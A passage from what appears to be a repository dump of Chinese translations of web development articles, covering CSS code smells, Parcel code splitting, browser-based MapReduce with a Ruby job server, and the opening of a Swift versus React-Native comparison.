###\n\n我们介绍了好处、坏处，那么丑处呢？\n\n有时候你会感到沮丧，特别当你为谋生而写代码时，在代码注释中你倾向于将这种沮丧的情绪发泄出来。\n\n使用过很多的代码库后，你会见到各种各样愤世嫉俗、沮丧到黑暗或意味深长的注释。\n\n像这种[看似无害的注释](http://stackoverflow.com/a/185550)...\n\n```\n/*\n这段代码很糟糕，你知道，我也知道。\n继续往前，之后再叫我白痴。\n*/\n```\n\n...[以及这种直白刻薄的注释](http://stackoverflow.com/a/184673)\n\n```\n/* \n这是配合 Richard 的工作而写的类，他是个白痴\n*/\n```\n\n这些可能看起来很有趣，或者在当时帮助你发泄了一部分情绪。但是当你把它们变成生产环境代码时，它们使得编写它们的程序员以及他们的雇主看起来不专业和苦大仇深似的。\n\n不要这么做。\n\n\n如果你喜欢这篇文章，请在分享这篇文章，帮助我传播。如果你想阅读更多其他的文章，欢迎登记订阅我每周的 [Dev Mastery 简报（英）](https://upscri.be/b1334e/)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/code-smells-in-css-revisited.md",
    "content": "> * 原文地址：[Code Smells in CSS Revisited](https://csswizardry.com/2017/02/code-smells-in-css-revisited/)\n* 原文作者：[Harry](https://csswizardry.com/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[IridescentMia](https://github.com/IridescentMia)\n* 校对者：[rccoder](https://github.com/rccoder), [Germxu](https://github.com/Germxu)\n\n# 再谈 CSS 中的代码味道 #\n\n回到 2012 年，我写了一篇关于潜在 CSS 反模式的文章 [CSS中的代码味道](https://csswizardry.com/2012/11/code-smells-in-css/)。回看那篇文章，尽管四年过去了，我依然认同里面的全部内容，但是我有一些新的东西加到列表中。再次说明，这些内容并不一定总是坏的东西，因此把它们称为代码味道：在你的使用案例中它们也许可以很好的被接受，但是它们仍然让人觉得有一点奇怪。\n\n在我们开始前，让我们回想一下什么是代码味道，摘自 [维基百科](https://en.m.wikipedia.org/wiki/Code_smell) (emphasis mine)：\n\n> 代码味道，也被称作代码异味，在计算机编程领域，指程序源代码中的任何 **有可能预示着更深层次问题** 的征兆。按照 Martin Fowler 所说的，「代码味道是一种表面迹象，通常对应着系统中的深层次问题」。另外一种看待代码味道方式是关于准则和质量：「代码味道是代码中某种特定的结构表明了 **违反了基本的设计准则** 并且对设计质量产生负面影响」，代码味道通常不是 bug —— **它们不是技术性的错误** 并且不会当时就对程序的功能产生阻碍。相反的，**它们预示着可能拖慢开发的设计缺陷** 或者增大未来出现 bug 或者故障的风险。代码异味是导致技术债的因素的指示器。Robert C. Martin 将一系列代码味道称作软件技艺的「价值体系」\n。\n\n因此, 它们并不总是技术上的错误, (不过)它们可作为一个不错的检验方法。\n\n## `@extend` ##\n\n希望我可以把这第一条讲得细致又简洁：我早就被告知 `@extend` 的副作用和陷阱，我也会积极地认为它是代码味道。它也并不绝对的不好，虽然通常是的。对它应该持怀疑态度。\n\n`@extend`的问题是多方面的，可以概括如下：\n\n- **它对性能的影响事实上比 mixins 更严重。** Gzip 偏爱重复性的内容，所以具有更高重复性 CSS 文件 (如 mixins) 取得更高的压缩量。\n \n- **它是贪婪的。** Sass 的 `@extend` 将会 `@extend` 它找到的每个 class 的实例，返回给我们一个相当长的选择器链 [看起来像这样](https://twitter.com/gaelmetais/status/564109775995437057)。\n\n- **它移动你的代码库的顺序。** 在 CSS 中原始的顺序至关重要，所以应该总是避免在你的项目中移动选择器的位置。\n\n- **它使文件晦涩难懂。** `@extend` 在你的 Sass 中隐藏了很多复杂的东西，你需要逐步的拆开，然而在你审阅文件的过程中，这个复杂的 class 方法将所有的信息置于焦点。\n\n扩展阅读：\n\n- [Mixins Better for\nPerformance](https://csswizardry.com/2016/02/mixins-better-for-performance/)\n- [When to Use `@extend`; When to Use a\nMixin](https://csswizardry.com/2014/11/when-to-use-extend-when-to-use-a-mixin/)\n- [Extending Silent Classes in\nSass](https://csswizardry.com/2014/01/extending-silent-classes-in-sass/)\n\n## 为类使用连接字符串 ##\n\n另外一个 Sass 让人恼火的地方就是在你的类上使用 `&` 连接字符串，例如：\n\n```\n.foo {\n  color: red;\n\n  &-bar {\n    font-weight: bold;\n  }\n\n}\n\n```\n\n编译成：\n\n```\n.foo {\n  color: red;\n}\n\n.foo-bar {\n  font-weight: bold;\n}\n\n```\n\n显而易见的好处是简洁：事实上我们只用写一次命名空间 `foo` 确实是很 DRY （Don't repeat yourself）。\n\n一个不那么明显的缺点是，字符串 `foo-bar` 现在在源代码中不存在。搜索代码库查找 `foo-bar` 只会返回 HTML 中的结果（或者是编译过的 CSS 文件，如果你已经把它纳入到你的项目中）。想要在源代码中定位 `.foo-bar` 的样式变得非常困难。\n\n我不仅仅是 CSS 全称写法的爱好者：总的来说，相比于重新为元素命名一个类，我更喜欢查找到它原有的类名，所以可查找性对我来说很重要。如果我加入一个项目大量使用 Sass 的字符串连接，追踪查找通常都会是非常艰难的。\n\n当然你也可以说 sourcemaps 将会帮助我们，或者如果我正在查找 `.nav__item` 这个类，我可以简单的打开 `nav.scss` 这个文件，但是不幸的是这并不总是奏效。获得更多的信息，可以看我做的关于它的 [录屏](https://www.youtube.com/watch?v=MGzoRM3Al40)。\n\n## Background 简写 ##\n\n我最近讨论的另外一个主题就是使用 `background` 简写语法。想了解更多细节，请参考 [the relevant article](https://csswizardry.com/2016/12/css-shorthand-syntax-considered-an-anti-pattern/)，但是在这里做一个总结如下：\n\n```\n.btn {\n  background: #f43059;\n}\n\n```\n\n…当你可能想要表达的意思是：\n\n```\n.btn {\n  background-color: #f43059;\n}\n\n```\n\n…这是另一种代码味道的实践。当我看到前者被使用的时候，很少是开发者实际上想要的：几乎任何时候他们真正的意思是后者。后者 *仅仅* 设置或者改变背景色，而前者将会也重置或者复原背景图、背景位置、背景链接等。\n\n在 CSS 项目中看到这样的形式立即提醒我，我们终究会因为它遇到问题。\n\n## 关键选择器多次出现 ##\n\n关键选择器是获得目标或者是被赋予样式的选择器。它通常在左花括号 (`{`) 前面的内容，但也并不总是。在下面的 CSS 中：\n\n```\n.foo {}\n\nnav li .bar {}\n\n.promo a,\n.promo .btn {}\n\n```\n\n…关键选择器是：\n\n- `.foo`,\n- `.bar`,\n- `a`,\n- `.btn`.\n\n如果我负责一个代码库并且 [ack for `.btn`](https://csswizardry.com/2017/01/ack-for-css-developers/)，我可能看到如下输出：\n\n```\n.btn {}\n\n.header .btn,\n.header .btn:hover {}\n\n.sidebar .btn {}\n\n.modal .btn {}\n\n.page aside .btn {}\n\nnav .btn {}\n\n```\n\n除了很多普遍存在的相当糟糕的 CSS，我在这里想指出的问题是 `.btn` 被定义了很多次，这告诉我：\n\n1. **没有遵循 Single Source of Truth** 告诉我按钮看起来是什么样的；\n2. **有很多变化** 意思是 `.btn` 类有很多潜在的不同的样式，所有的这些都是通过 CSS 的可变性造成的。\n\n一看到像这样的 CSS，我就意识到在按钮上做任何工作都将会有很大的影响，追踪按钮样式到底来自哪里将会非常困难，并且任何位置的改动都有可能对其他地方造成影响。这就是 CSS 可变性的关键性问题之一。\n\n使用 BEM 的命名形式以便创建全新的类名称以应对这些改变，例如：\n\n```\n.btn {}\n\n.btn--large {}\n\n.btn--primary {}\n\n.btn--ghost {}\n\n```\n\n每个只有一个关键选择器\n\n## 一个类名出现在另一个组件的文件中 ##\n\n在一个和上面相似但是稍微不同的场景里，类名出现在另一个组件的文件中预示着代码味道。\n\n上一个代码味道处理同一个关键选择器有多于一个实例的问题，这个代码味道处理这些选择器应该放在哪。这个问题来自于 [Dave Rupert](https://twitter.com/davatron5000)：\n\n如果我们需要给某些因为它们的上下文的不同而加样式，我们应该把这些额外的样式加到哪呢？\n\n1. 要加样式的对象所在的文件里？\n2. 控制该对象上下文的文件里？\n\n让我们假设我们有如下 CSS：\n\n```\n.btn {\n  [styles]\n}\n\n.modal .btn {\n  font-size: 0.75em;\n}\n\n```\n\n`.modal .btn {}` 应该放在哪？\n\n它应该 **在 `.btn` 所在的文件中。**\n\n我们应该尽量将我们的样式基于主题（例如：关键选择器）分组。在这个例子中，主题是 `.btn`：这才是我们真正关心的。`.modal` 只不过是 `.btn` 的上下文，所以我们根本没给它添加样式。为此，我们不应该将 `.btn` 的样式移出到另外的文件中。\n\n我们不这样做简单的因为它们是并列的：将所有按钮的上下文放在一处更方便。如果我想得到项目中所有按钮样式的概观，我仅仅需要打开 `_components.buttons.scss`，而不是一堆其他的文件。\n\n这样做使得将所有按钮的样式移入另外一个新项目变得更容易，更重要的是这样做提前读懂变得容易。我相信你们都对这种感觉相当熟悉，就是文本编辑器中打开十余个文件，而仅仅试图修改很小的一处样式。这是我们能够避免的。\n\n将你的样式基于主题的分组到文件中：如果是给按钮的样式，无论它是什么样的，我们应该让它在 `_components.buttons.scss` 文件中。\n\n一个简单的经验法则就是，问问你自己这样的问题，我是在给 x 添加样式还是 y？如果答案是 x，那么你的 CSS 应该在 `x.css` 文件中；如果答案是 y，它应该在  `y.css` 中。 \n\n### BEM Mixes ###\n\n事实上很有趣的，我根本不会这样写 CSS —— 我使用 BEM mix —— 但是这是另一个不同问题的答案。不是像下面这样：\n\n```\n// _components.buttons.scss\n\n.btn {\n  [styles]\n}\n\n.modal .btn {\n  [styles]\n}\n\n// _components.modal.scss\n\n.modal {\n  [styles]\n}\n\n```\n\n而是像这样：\n\n```\n// _components.buttons.scss\n\n.btn {\n  [styles]\n}\n\n// _components.modal.scss\n\n.modal {\n  [styles]\n}\n\n  .modal__btn {\n    [styles]\n  }\n\n```\n\n第三，新的类名称将会应用于 HTML 上，像这样\n\n```\n<div class=\"modal\">\n  <button class=\"btn  modal__btn\">Dismiss</button>\n</div>\n\n```\n\n这被叫做 BEM mix，我们介绍第三种新的类名称来指向属于 modal 的按钮。这样避免了它在哪里的问题，它通过避免嵌套，减少了名称唯一性的问题，同时通过重复 `.btn` 类避免可变性带来的问题。完美！\n\n## CSS `@import` ##\n\n我会说 CSS `@import` 不仅仅是代码味道，它的的确确是坏的实践。它推迟 CSS 文件的加载（性能的决定性因素），比实际的需要加载的更晚，造成严重的性能下降。下载具有 `@import` 的 CSS 文件的（简化的）工作流程看起来有点像：\n\n1. 获取 HTML 文件，这个 HTML 文件中请求 CSS 文件;\n2. 获取 CSS 文件，这个 CSS 文件请求另外一个 CSS 文件；\n3. 获取最后一个 CSS 文件；\n4. 开始渲染页面。\n\n如果我们得到 `@import` 的内容，将其压入一个单独的文件，工作流程看起来将会是这样：\n\n1. 获取 HTML 文件，这个 HTML 文件中请求 CSS 文件;\n2. 获取 CSS 文件;\n3. 开始渲染页面。\n\n如果我们不能将所有的 CSS 放入一个文件（例如我们链接了谷歌字体），那么我们应该在 HTML 中使用两个 `<link />` 元素，而不是使用 `@import`。这可能让人感觉有点不那么压缩（但也是更好的方式处理所有 CSS 文件的依赖），它对于性能仍然是比较友好的：\n\n1. 获取 HTML 文件，这个 HTML 文件中请求 CSS 文件;\n2. 获取所有的 CSS 文件;\n3. 开始渲染页面。\n\n---\n\n所以我们在这里对我先前那篇关于代码味道的文章做了几点添加。这些是我已经看到的并且忍受着的几点：希望现在你也可以避开他们。\n"
  },
  {
    "path": "TODO/code-splitting-with-parcel-web-app-bundler.md",
    "content": "> * 原文地址：[Code Splitting with Parcel Web App Bundler](https://hackernoon.com/code-splitting-with-parcel-web-app-bundler-fe06cc3a20da)\n> * 原文作者：[Ankush Chatterjee](https://hackernoon.com/@ankushc?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/code-splitting-with-parcel-web-app-bundler.md](https://github.com/xitu/gold-miner/blob/master/TODO/code-splitting-with-parcel-web-app-bundler.md)\n> * 译者：[kk](https://github.com/kangkai124)\n> * 校对者：[noahziheng](https://github.com/noahziheng) [pot-code](https://github.com/pot-code)\n\n# 使用 web 应用打包工具 Parcel 实现代码分割\n\n![](https://cdn-images-1.medium.com/max/800/1*3Tp8OGHuIlun20JS84i7DA.gif)\n\n代码分割可谓是当今 web 开发中很热门的话题。今天，我们将探索如何使用 parcel 轻松地实现代码分割。\n\n#### 什么是代码分割？\n\n如果你对它很熟悉，那么你可以跳过这部分。不然的话，还是接着往下看吧。\n\n如果你使用过 JavaScript 框架进行前端开发的话，那么最后肯定会打包成一个很大的 JavaScript 文件。可能因为你写的应用比较复杂，有很多模块之类，总之，这些包都太大了。文件一大，下载的时间就越长，在带宽较低的网络环境下问题尤为显著。所以，请仔细斟酌一下：用户是否真的需要一次性加载所有的功能？\n\n想象有这么一个电子商务的单页面应用。用户登录进来能只是想看一下产品清单，但是他已经花了很长时间，下载到的 JavaScript 不仅仅是渲染产品那部分，还渲染了过滤、产品详情、供货等等等等。\n\n如果这样做的话，那对用户太不公平了！如果我们只加载用户需要的那部分代码，是不是特别赞？\n\n所以，这种把比较大的包拆分成多个更小的包的方法就是代码分割。这些更小的包可以按需或者异步加载。虽然听上去很难实现，但是像 webpack 这种现代打包工具就能帮你做这件事，而 parcel 使用起来更加简单。\n\n![](https://cdn-images-1.medium.com/max/800/1*WKxqnQQJjn03TXiBM4TYfw.png)\n\n文件拆分成了这些可爱的小 baby 们。来自 [Shreya](https://medium.com/@shreyawriteshere) [[Instagram](https://www.instagram.com/shreyadoodles/)]\n\n#### Parcel 到底是什么呢？\n\n[Parcel](https://parceljs.org/) 是一个\n\n> 极速零配置 web 应用打包工具\n\n它使得模块打包变得十分简单！如果你还不知道 Parcel，推荐你先看一下 [Indrek Lasn](https://medium.com/@wesharehoodies) 写的 [这篇文章](https://medium.freecodecamp.org/all-you-need-to-know-about-parcel-dbe151b70082)。\n\n#### 开始吧！\n\n嗯...代码部分，我不会使用任何框架，用不用框架并不影响操作。下面例子会用非常简单的代码展示如何拆分代码。\n\n创建一个新的文件夹， `初始化` 一个项目：\n\n```\nnpm init\n```\n\n或者，\n\n```\nyarn init\n```\n\n选择你喜欢的方式（yarn 是我的菜 😉），然后按照下图创建一些文件。\n\n![](https://cdn-images-1.medium.com/max/800/1*oZy87TFDpGZYXf05uunBxA.png)\n\n世界上最简单的结构有没有？\n\n这个例子中，我们只在 `index.html` 中引入 `index.js` 文件，然后通过一个事件（这个例子中我们使用点击按钮）加载 `someModule.js` 文件，并用它里面的方法来渲染一些内容。\n\n打开 `index.html` 添加如下代码。\n\n```\n<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"UTF-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n    <title>Code Splitting like Humans</title>\n  </head>\n  <body>\n    <button id=\"bt\">Click</button>\n    <div class=\"holder\"></div>\n    <script src=\"./index.js\"></script>\n  </body>\n</html>\n```\n\n例子很简单，只是一个 HTML 模板，包括一个 button 按钮和渲染 `someModule.js` 内容的 `div`。\n\n接着我们来写 `someModule` 文件：\n\n```\nconsole.log(\"someModule.js loaded\");\nmodule.exports = {\n  render : function(element){\n      element.innerHTML = \"You clicked a button\";\n  }\n}\n```\n\n我们 export 了一个对象，它有一个 `render` 方法，接收一个元素并将「You clicked a button」渲染到这个元素内部。\n\n现在有意思了。在我们的 `index.js` 中，我们要处理 button 按钮的点击事件，动态的加载 `someModule`。\n\n对于动态的异步加载，我们使用 `import()` 语法，它会按需异步加载一个模块。\n\n看一下如何使用，\n\n```\nimport('./path/to/module').then(function(page){\n//Do Something\n});\n```\n\n因为 `import` 是异步的，所以我们用 `then` 来处理它返回的 promise 对象。在 `then` 方法中，我们传入一个函数，这个函数接收从该模块加载进来的对象。这和 `const page = require('./path/to/module');` 很相似，只是动态异步执行而已。\n\n在我们的例子中这么写，\n\n```\nimport('./someModule').then(function (page) {\n   page.render(document.querySelector(\".holder\"));\n});\n```\n\n于是我们加载了 `someModule` 并调用了它的 render 方法。\n\n接着把它加到按钮点击事件的监听函数中。\n\n```\nconsole.log(\"index.js loaded\");\nwindow.onload = function(){\n       document.querySelector(\"#bt\").addEventListener('click',function(evt){\n     console.log(\"Button Clicked\");\n     import('./someModule').then(function (page) {\n         page.render(document.querySelector(\".holder\"));\n     });\n});\n}\n```\n\n至此代码已经写完了，接下来只需要运行 parcel 即可，它会自动完成所有的配置工作！\n\n```\nparcel index.html\n```\n\n它会产生以下的文件。\n\n![](https://cdn-images-1.medium.com/max/800/1*NEtHUZA1zchHSsWuOqB6mQ.png)\n\n在你的浏览器中运行，观察结果。\n\n![](https://cdn-images-1.medium.com/max/800/1*RIhun_YTgvmtvHgeqKWNkw.png)\n\n控制台输出\n\n![](https://cdn-images-1.medium.com/max/800/1*kS4YO7jH-6sA49LuWs-lsA.png)\n\n网络活动记录\n\n可以从控制台输出看到，`someModule` 在按钮被点击之后才被加载。通过 network 可以看到调用 import 后，`codesplit-parcel.js` 是如何加载模块的。\n\n代码分割是多么神奇的一件事，既然我们可以这么简单的实现，那我们还有理由不用吗？💞💞\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/collaborative-map-reduce-in-the-browser.md",
    "content": "> * 原文地址：[Collaborative Map-Reduce in the Browser](https://www.igvita.com/2009/03/03/collaborative-map-reduce-in-the-browser/)\n* 原文作者：[Ilya Grigorik](https://www.igvita.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[mypchas6fans] (https://github.com/mypchas6fans)\n* 校对者：[siegeout] (https://github.com/siegeout) [MAYDAY1993] (https://github.com/MAYDAY1993)\n\n# 基于浏览器的 MapReduce\n\n在分布式计算和海量数据中摸爬滚打了很久之后，你一定会感谢优雅的 [Google Map-Reduce 框架](http://en.wikipedia.org/wiki/MapReduce)。它的 _map_ ，_emit_ 和 _reduce_ 模块既通用又简洁，这使它成为了一个强有力的工具。虽然 Google 公开了理论，但是底层的软件实现仍然是闭源的，而这可以说是他们最大的竞争优势之一（[GFS](http://labs.google.com/papers/gfs.html)，[BigTable](http://labs.google.com/papers/bigtable.html)，等等）。当然，现在有很多开源的分支（[Apache Hadoop](http://hadoop.apache.org/core/)，[Disco](http://discoproject.org/)，[Skynet](http://skynet.rubyforge.org/)，以及其他），但是人们总会发现，优美简洁的理论和惨痛的实现之间存在的断层：诸如自定义协议，自定义服务器，文件系统，冗余，等等等等。问题来了，我们怎样能把这个差距缩短一点？\n\n## 大规模并行计算\n\n在我和 [Michael Nielsen](http://michaelnielsen.org/blog/?page_id=181) 进行了多次迭代、试错、深入的对话之后，一个念头突然闪现出来: **HTTP + Javascript**！如果简单的通过浏览器打开一个 URL 就能为计算任务（ Map-Reduce ）做贡献会怎样？你的社交网络肯定不会介意多开一个后台 tab 帮你压缩一两个数据集！\n\n![](https://www.igvita.com/posts/09/xbrowsers.png.pagespeed.ic.gtlyz9PZB7.jpg) 与其关注高吞吐率的专有协议和高效的数据通道来分发和传递数据，我们可以用实战检验过的方法： HTTP 和你喜欢的浏览器。而且全世界还有无数的 [Javascript 处理器](http://en.wikipedia.org/wiki/JavaScript) ——每个浏览器都可以执行。比起其他语言，它是一个完美的数据处理平台。\n\nGoogle 据说有[数以百万计的服务器](http://www.youtube.com/watch?v=6x0cAzQ7PVs)（而且还在猛增），这是一个惊人的数量。那想要组织一百万人，把他们的零碎计算时间贡献到其中该有多难？我认为这并不是难以实现的，毕竟开始的门槛很低。如果能做到，虽然计算的效率会很低，不过我们会得到一个超大的集群，可以让我们解决一些以前完全做不到的问题。\n\n## 浏览器中的客户端计算\n\n除了数据的存储和分发，计算任务中最重要的一块就是 CPU 时间。但是，通过把数据分割成可管理的小块，我们可以很容易构造一个基于 HTTP 的工作流，让用户的浏览器为我们处理这些事：\n\n![](https://www.igvita.com/posts/09/xbrowser-mr.png.pagespeed.ic.1SaJmT926Y.png)\n\n整个过程包括简单的 4 步。首先，客户端向追踪计算进度的 job 服务器申请加入集群。然后服务器分配一个工作单元，把客户端重定向（例如 [301 HTTP Redirect](http://en.wikipedia.org/wiki/URL_redirection#HTTP_status_codes_3xx)）到一个包含数据和 Javascript map/reduce 方法的 URL。下面是一个简单的分布式 word-count 示例：\n```\n<html>\n  <head>\n    <script type=\"text/javascript\">\n\n      function map() {\n        /* count the number of words in the body of document */\n        var words = document.body.innerHTML.split(/\\n|\\s/).length;\n        emit('reduce', {'count': words});\n      }\n\n      function reduce() {\n        /* sum up all the word counts */\n        var sum = 0;\n        var docs = document.body.innerHTML.split(/\\n/);\n        for each (num in docs) { sum+= parseInt(num) > 0 ? parseInt(num) : 0 }\n        emit('finalize', {'sum': sum});\n      }\n\n      function emit(phase, data) { ... }\n    </script>\n  </head>\n\n  <body onload=\"map();\">\n    ... DATA ...\n  </body>\n</html>\n```\n\n一旦页面加载和 Javascript 被执行之后（因为有了 [Javascript VM](http://ejohn.org/blog/javascript-performance-rundown/) [wars](http://code.google.com/p/nativeclient/)，这个过程越来越快了），结果被发回（ POST ）job 服务器，上述过程不断重复，直到所有任务（ _map_ 和 _reduce_ ）完成。所以加入集群只需要简单的打开一个 URL，而分发由 HTTP 协议完成。\n\n## 用 Ruby 写一个简单的 job 服务器\n\n最后的一块拼图是 job 服务器，用来协调分发的工作流。借助 [Sinatra web framework](http://www.sinatrarb.com/) ，只需要如下 30 行 Ruby 代码：\n\n\n    require \"rubygems\"\n    require \"sinatra\"\n\n    configure do\n      set :map_jobs, Dir.glob(\"data/*.txt\")\n      set :reduce_jobs, []\n      set :result, nil\n    end\n\n    get \"/\" do\n      redirect \"/map/#{options.map_jobs.pop}\" unless options.map_jobs.empty?\n      redirect \"/reduce\"                      unless options.reduce_jobs.empty?\n      redirect \"/done\"\n    end\n\n    get \"/map/*\"  do erb :map,    :file => params[:splat].first; end\n    get \"/reduce\" do erb :reduce, :data => options.reduce_jobs;  end\n    get \"/done\"   do erb :done,   :answer => options.result;     end\n\n    post \"/emit/:phase\" do\n      case params[:phase]\n      when \"reduce\" then\n        options.reduce_jobs.push params['count']\n        redirect \"/\"\n\n      when \"finalize\" then\n        options.result = params['sum']\n        redirect \"/done\"\n      end\n    end\n\n    # To run the job server:\n    # > ruby job-server.rb -p 80\n\n\n\n[bmr-wordcount](http://www.github.com/igrigorik/bmr-wordcount/) - 浏览器 Map-Reduce: word-count 示例\n\n就这些。启动服务器然后在浏览器里打开 URL 。剩下的完全自动化，并且很容易并行 —— 打开更多的浏览器就好了。加上一些负载均衡，数据库，它就真的可以干活了，很酷吧。\n\n第二部分，包含来自社区的一些笔记和评论: [Collaborative / Swarm Computing Notes](http://www.igvita.com/2009/03/07/collaborative-swarm-computing-notes/)\n"
  },
  {
    "path": "TODO/comparing-the-performance-between-native-ios-swift-and-react-native.md",
    "content": "> * 原文地址：[Comparing the Performance between Native iOS (Swift) and React-Native](https://medium.com/the-react-native-log/comparing-the-performance-between-native-ios-swift-and-react-native-7b5490d363e2#.ads9p0f4n)\n* 原文作者：[John A. Calderaio](https://medium.com/@jcalderaio?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Deepmissea](http://deepmissea.blue)\n* 校对者：[gy134340](http://gy134340.com/)，[Danny1451](http://danny-lau.com/)\n\n# 原生 iOS(Swift) 和 React-Native 的性能比较\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*e1ndrqm2zZhe7IVjA6ugpw.jpeg\">\n\nReact-Native 是一个混合的移动框架，可以让你仅仅使用 JavaScript 来构建应用。然而，与其他混合移动开发技术不同的是，你构建的并不是一个 “移动网页应用”（把网页应用封装到一个原生的容器里）。在最后，你会得到一个真正的应用。与使用 Objective-C 编写的 iOS 以及 Java 编写的 Android 应用相同，你的 JavaScript  代码最终会被编译成一个移动应用。这意味着 React-Native 拥有了原生应用和混合应用的好处，而没有任何缺点。\n\n我的目标是找出他们是否能够准确地履行他们的承诺。要实现目标的话，我就需要用 Swift 和 React-Native 构建相同的应用。它需要足够简单，以便我可以学习两种语言并及时完成应用程序，但也需要足够的复杂，才能比较每个应用的 CPU、GPU、内存的使用情况和功耗。应用会有四个 tab。第一个叫做 “Profile”，用来提示用户登录 Facebook 来获得用户个人资料里的照片和邮箱，并展示在页面上。第二个 tab 叫做 “To Do List”，是用 NSUserDefaults（iPhone 内部存储）来做的一个简单的待办事项表，它将有添加和删除条目的功能。第三个 tab 叫做 “Page Viewer”，由一个 PageViewController 组成。PageViewController 有三屏，用户可以来回切换（红、绿、蓝三屏）。最后一个 tab 叫 “Maps”，由一个 MapView 组成，放大用户的当前位置，然后在地图上的用蓝点表示。\n\n### Swift 的历程 ###\n\n第一步是 iOS 和 Swift。学习 Swift 相对比较容易，因为它很像我知道的其他语言（Java、C++）。然而，学习 Cocoa Touch（iOS 框架）才是更难的任务。我看了 **Udemy.com** 上 Rob Percival 的一系列视频，这让我从初识 Swift 阶段过渡到完成了几个应用。虽然我在看完介绍视频后还是在 Cocoa Touch 上有很多问题。视频里大多数的“学习”只是调用复制/粘贴代码，但是我们不是很清楚它做了什么。我感觉可能老师也不知道这是啥，只是记住了它。我不喜欢对我的代码一无所知。\n\nApple 的 IDE（Xcode）对用户无疑即先进又友好。你可以点击叫做 Storyboard 的东西，按你想要的顺序来设置你应用的屏幕，放一个箭头，指向程序启动的首屏。在第一个 tab（“Profile”）里，我要拖一个图片视图、姓名标签和邮箱标签。然后，我拖住它跟代码做一个链接，在代码里创建一个新变量。接着，以编程的方式，一旦用户登录了 Facebook，我就把变量的值改变成 Facebook 里的值。通过视频，我花了三周的时间来适应并完成了 Swift/iOS 的代码。\n\n你可以在 GitHub 上看一下这个应用的 Swift 版本的代码，链接在这里：[https://github.com/jcalderaio/swift-honors-app](https://github.com/jcalderaio/swift-honors-app)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*2rOfHO8rCsb8S8EANfTXCg.png\">\n\nSwift Tab 1 (Facebook Login)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*oqP5ST5jpRs-ag_WCqEXjA.png\">\n\nSwift Tab 2 (To-Do List)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*YPb_6vT2RWm54CVDvl84WQ.png\">\n\nSwift Tab 3 (Page View)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*S3KFEaCqOzPJ22DPvxGfRQ.png\">\n\nSwift Tab 4 (Maps)\n\n### React-Native 的历程 ###\n\n第二部分是 React-Native。学习 JavaScript 比 Swift 要难上一点，但也不是很困难。我试着利用我从网上学到的一些零碎的 React-Native 知识来编写应用，但是还不够。我需要一些视频讲座。回到 **Udemy.com**，我看了 Stephen Grider 介绍 React-Native 的精彩演讲。一开始的时候，我感到非常不知所措，React-Native 的结构对我一点用也没有。不过在看了 Stephen Grider 的演讲之后的一周，我已经可以自己编码了。\n\n我对 React-Native 感到真正喜欢的地方是，你写的每一行代码都很说得通，你知道每一行代码的作用。另外，不像在 iOS 里（需要调整每个页面，让他们在横屏或者竖屏时显示正确的尺寸），在 React-Native 里，所有的都调整好了。不需要任何设置，我就能让我的应用看上去很完美。我在一些不同尺寸的 iphone 上运行我的程序也跑得很好。因为 React-Native 使用的是 flexbox（有点像 HTML 中的 CSS），它对正在展示的页面尺寸来说是响应式的。\n\n你可以在 GitHub 上看一下这个应用的 React-Native 版本的代码，连接在这里：[https://github.com/jcalderaio/react-native-honors-app](https://github.com/jcalderaio/react-native-honors-app) \n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*wvxOOPoww_9IZto4cSpXYQ.png\">\n\nReact-Native Tab 1 (Facebook Login)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*4sSsR52cS8fQ30uf0hmbWw.png\">\n\nReact-Native Tab 2 (To-Do List)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*lh7tO4NH2DHbbrLle_vZ9A.png\">\n\nReact-Native Tab 3 (Page View)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*xYt9lyH_vaT5NQTOz86e2A.png\">\n\nReact-Native Tab 4 (Maps)\n\n### 数据 